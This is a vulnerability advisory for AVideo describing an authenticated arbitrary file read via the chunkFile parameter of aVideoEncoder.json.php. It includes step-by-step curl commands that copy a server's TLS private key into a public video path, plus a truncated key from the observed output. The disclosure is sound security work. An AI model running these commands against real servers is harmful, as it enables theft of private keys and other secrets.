AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`

Summary

POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.

For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.

I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videos_id=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.

Affected Versions / Commit

Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.

Preconditions

• Authenticated account with upload permission.
• Attacker owns at least one editable video record.
• Target local file is readable by the web application user.

Steps to Reproduce

1. Log in as an upload-capable low-privileged user.
2. Create any attacker-owned video via the normal upload endpoint to obtain videos_id and filename.
3. Send a POST request to aVideoEncoder.json.php with the attacker's own videos_id, an allowed format, and a server-local chunkFile path.
4. Download the resulting media object from /videos/<filename>/<filename>.mp4.

Proof of Concept

The included poc.py automates the exploit against the local instance.

Manual reproduction:

# 1. Login as low-priv uploader
curl -s -c attacker.cookies \
  -d 'user=attacker&pass=UserPass123!' \
  http://127.0.0.1/objects/login.json.php >/dev/null

# 2. Create an attacker-owned video
printf 'x' > poc.mp4
curl -s -b attacker.cookies \
  -F 'upl=@poc.mp4;type=video/mp4' \
  http://127.0.0.1/view/mini-upload-form/upload.php

# Example response:
# {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...}

# 3. Copy a local file into the attacker's public video path
curl -s -b attacker.cookies \
  -d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
  http://127.0.0.1/objects/aVideoEncoder.json.php

# 4. Retrieve the copied file over HTTP
curl -s \
  http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head

Observed Result

The final GET returned the contents of the local TLS private key:

-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...